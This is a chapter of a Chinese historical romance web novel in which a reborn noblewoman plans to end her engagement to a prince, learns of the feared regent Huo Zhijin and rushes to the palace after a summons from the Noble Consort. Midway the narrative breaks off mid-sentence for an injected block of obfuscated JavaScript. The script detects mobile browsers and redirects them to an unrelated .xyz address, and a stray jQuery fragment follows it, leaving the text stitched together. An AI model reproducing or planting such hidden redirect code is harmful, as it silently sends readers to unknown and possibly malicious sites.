“是啊。”沈如南点头,“但我怕他来报复我,所以要提前知晓他的行踪和意图,便于有应对之法。”
春若似懂非懂地眨眨眼,“谦王殿下会做什么?”
“或许是会借此事与我退婚,至于会不会别的,不好说。”沈如南顿了一刻,思虑着说道。
萧永元不受皇上宠爱,而且如今正处于皇上考量他的时候,假如萧永元看得清形式,近来行事便不应该太乖张。
倘若能因此而解除这份婚约,萧永元随即识趣不再追究的话,可以说是一切皆尽如人意。但萧永元若想要利用此事而和相府不依不饶,那他就两头都吃不得好。
纵使沈如南想立即搞垮萧永元,但此次发生的事情在外人看来,的的确确是她不占理,如果她强行借此机会设套于萧永元,那她便是伤敌一千自损八百了。
所以,就此退婚便是最好的结果。
对付萧永元之事,大可从长计议。
“退婚?”春若面色讶异几瞬,目光在沈如南的神色上打量,小心翼翼地询问:“谦王真要退婚的话,小姐要怎么办?”
沈如南从思绪中抽出,双眸缓缓瞥向替自己担忧的春若,将手伸了出去,春若下意识握住她的指尖,听见她轻声开口:
“是我要与他退婚——我居相府,兄长于父亲皆在朝中有一席之地,他谦王又如何,不配于我。”
她的语气淡薄如微风,却坚定的让人信服,春若愣怔须臾,意识到沈如南所言之意,她又惊又喜:“小姐值得这世间最好的!”
“不觉得意外?”
“小姐做什么,春若都不会意外的,春若只管听小姐的就是,小姐做什么一定都对。”
沈如轻轻捏了捏她的脸,庆幸有如此重来的机会,春若也还在她身边服侍,陪着她,就不会记起前世宫中的孤苦。
春若笑着等沈如南松开手,后站起身端着碗准备离开,走前忽而想起了霍知晋的那身外袍,于是她转头去问沈如南:“小姐,那这个要如何处理?”
沈如南的视线落在那上面,眸间微动,似乎是想起了霍知晋的面容,须臾后说道:“你去将它浣洗了,过几日我们还给摄政王。”
听见还要去找摄政王,春若有几分踌躇,拿起衣裳下意识开了口道:“小姐,我们和摄政王走的太近,是不是有些危险?”
沈如南失笑一声,“你怕他?”
“不止我,人人都怕。”春若答。
前世沈如南只在意萧永元,关于其他人倒是并未太过关注,如今见春若如此惧怕模样,她才生出几分好奇。
隐约听说过霍知晋的威名,但她其实并不知晓,为何旁人都怕霍知晋怕的不得了。从前世自己同霍知晋鲜少的接触中,沈如南没察觉到霍知晋有甚么让人如此惧怕的地方。
于是她挥挥手叫春若靠的近些,压低声音询问道:“同我讲讲,你知道的有关摄政王所有事情,还有为何惧他。”
春若僵了僵,但下一刻就被沈如南拽着坐到了榻上,只好将自己知道的尽数一五一十地道来。
关于霍知晋的传闻颇多,但最广为流传的,有两部分。
其一是霍知晋还是将军时,说他在战场上杀人如麻,手起剑落不眨眼,如嗜血罗刹鬼,乃敌军噩梦,闻之未有不丧胆者。除了敌军,霍知晋手下众多将领士兵,传闻也因为他对待逃兵手段狠辣而宁死不敢逃,大抵也是许多人的阴影。
那时的霍知晋目无余子,手握重权连陛下也有所忌惮,人人道他恃才傲物又不可一世。同样也是出了名的喜怒无常,或前一刻笑吟吟,后一刻便剑染红血,面不改色取人性命,甚至不知是因何而死。
其二,便是霍知晋双腿出了事故那年,手中兵权虽交出,但陛下亲封他为当朝摄政王,允他有处理朝政的实权后。
登位之初,就有大世家被连根拔起,仅一夜,家族落败波及朝堂动荡,震慑了整个皇宫。朝中官员见他,无不冷汗涔涔,生怕说错了话,触怒霍知晋而得个抄家流放的下场。
后来,宫中百官人人自危,都称摄政王的请帖为“催命符”。
城中百姓常说,他是那会饮血食人维持煞气的鬼,目光如蛇,喜取人性命。
偏生的一副如玉如琢,目若朗星,甚至曾以俊美扬名。
“小姐……”春若说完凑近她几分,“我们便莫要去招惹摄政王了罢?倘若惹了摄政王不快,我们岂不是自寻麻烦。”
“方才受了他的帮忙,恩情未还便要离人远远的,这实属不妥。待登门送了谢礼、还了衣裳,再说敬而远之的事情,总生不出什么事端。”
沈如南的确不像旁人一般惧怕霍知晋,但她也只是因为前世的缘故,下意识觉得霍知晋不会伤害自己。虽说传闻可怖,她却觉得有些夸张,不过是以讹传讹、霍知晋懒得澄清罢了。
春若点了头道:“春若知晓了,小姐,我这就去浣衣。”
沈如南应了声,看着春若转身离开,屋内重新归于平静。她望着门的方向发怔,倦意后知后觉地袭来,眼皮也终于有些沉了,转身躺下休憩。
***
翌日一早,春若听了沈如南的吩咐出了门,看能不能打听到一些关于萧永元的消息。听闻沈如璟今日也早早外出,沈如南索性继续睡下了。许是前世的恐惧未消,昨夜她噩梦缠身,一晚上便醒来了数回,实在是没有休息好。
只是现下她躺在榻上,却再未能入睡,双眸紧闭许久,脑中思绪始终停留在萧永元会不会生出什么旁的幺蛾子。
没等她想明白,春若先回来了,刚入了院就喊道:“小姐,小姐……”
听她有些着急忙慌的话音,沈如南睁开眼坐起,等着春若轻推开门,她才问道:“怎么了,出了甚么事?”
春若忙道:“小姐,今早贵妃娘娘来宣,说是要小姐入宫一趟,贵妃娘娘有事要问。”
“何时说的,并未瞧见有人来请。”沈如南面露疑惑,眉头微蹙起来,话音也沉了几分。
当今陛下的众多嫔妃中,只有一位贵妃娘娘,也就是萧永元的生母,祝虞。
前世沈如南和祝虞的主要接触,大多都是在和萧永元成婚后,外人传言祝虞品行端庄、颇有大家风范,是个沉鱼落雁的聪慧美人。
而她的出身同样人尽皆知,罪臣之女入宫为婢。原先只是负责伺候刚入宫的才人,不知使了什么手段,成了皇上的宠婢,再然后就晋了位份。
不过短短几年,她已经成了万人艳羡的贵妃娘娘。
除了她那扬名的美貌外,祝虞同样才艺双全,引得皇上曾一连数月都只召她侍寝,皇宫之外,她是出了名的善解人意,民间百姓感慨她与皇上的情感,且对祝虞多有敬仰。
可前世沈如南面见祝虞的那几次却发觉,事实并非如此。祝虞此人心计颇深,笑面心冷,甚有远见,萧永元前世能称帝,少不了祝虞在背后推泼助澜。
祝虞满心想要萧永元登上皇位,好颐享天年,毕竟她现在正受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310618|182904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇上冷落,就连萧永元也连带着一起,他们母子早在就再不如过往那般威风。
沈如南不知道祝虞和皇上之间发生了什么,前世皇上冷落祝虞多年,期间太子表现出色,萧永元在皇上眼中的地位随之一落千丈。这也使得祝虞心生怨恨,决定自己扶持萧永元上位,哪怕要皇上死、要太子死。
如今皇上和父亲均不在,贵妃娘娘单召她入宫,恐怕是要堂而皇之地治她的罪,但绝不会准她退婚。
前世萧永元称帝前不久,沈如南才知晓自己和萧永元的婚事是祝虞在背后一手促成的杰作,祝虞就是看中了自己背后的相府,才不顾萧永元的意愿,一定要他们二人成婚。
此番她要退婚,最大的障碍其实是祝虞。
春若跟着点头,“奴婢也是才听他们言——府中大公子的侍从说,大公子以小姐尚在禁闭中为由拒绝了贵妃娘娘的召见,但大公子却是自己入了宫,应当是去见贵妃娘娘的。”
沈如南微怔,“兄长替我去了?”
“一早就去了,说是不用告知小姐,但我方才多问了两句发觉不对才从他们口里套出话来的。”
沈如南没料到,沈如璟会为此出面。但祝虞到底是贵妃娘娘,就算沈如璟再受太子爱护,也不过是低贵妃一头的太傅罢了。祝虞可以不卖沈如璟这个人情,更甚至可能因此迁怒于沈如璟。
而兄长一向对萧永元和祝虞母子两人颇有成见,从未瞧不上他们,就连言语中提起来时都没什么好脸色。再者以沈如璟心直口快的性子,恐怕必会得罪祝虞。
“我们也入宫,去见祝贵妃。”沈如南不由得担忧几分,她自己惹出的事情,如果真波及到了沈如璟,实在有些得不偿失。
春若面露疑惑,“小姐,我们去做甚么?”
“兄长一人若是出事了怎么办,我们要去看看。”沈如南来不及过多解释,转身穿好了衣裳,没多久就已经朝着门口走去。
春若忙跟上她,“小姐,贵妃娘娘不是一向亲和么,大公子怎么会出事呀?”
“她也算得上亲和?”沈如南步伐匆匆,她眉头拧着,边回头说话边已经走出了院,行至堂前。“春若,坊间传闻还是要少信。”
春若没多问,既然沈如南如此说了,那她不信便是。不过她们此番急匆匆地出了门,自是需要一辆马车才能尽快前往,奈何沈如璟提前下了严令不准沈如南外出,府内小厮个个都不敢忤逆平日里铁面无私的沈如璟。
至于沈如南,她往常在府内待的时候并不多,这些人的面孔瞧着还生,因此这些侍从差不多算是都只听沈如璟的话。现下不拦她出门已经是装作没瞧见了,就别说还亲自给她备车。
沈如南顾不得同他们讲,只眼尖地瞥见门口有马车经过,她下意识地抬脚跨过门槛,捉住衣角小跑上前。
她拦在那车夫的身侧,对马车内的主人客气道:“请恕小女唐突,实是有要紧事需用马车,不知阁下可否载小女一程?小女乃沈氏沈如南,若阁下相助,不日定会亲自答谢。”
马车因她的话而停下,那车夫望向她的视线里带着几分难以分辨的奇怪,后回头朝着马车内道了句“主上”以请示。
沈如南原本并未在意车夫的目光,但下一刻,那马车帷帘被一只骨节分明的修长手指掀开,车内坐着的男子眸色很深,照进的光影模糊地勾勒出他凌厉的棱角。
“去哪?”对方面无表情地看向她,话音沉稳磁性。
——竟是霍知晋。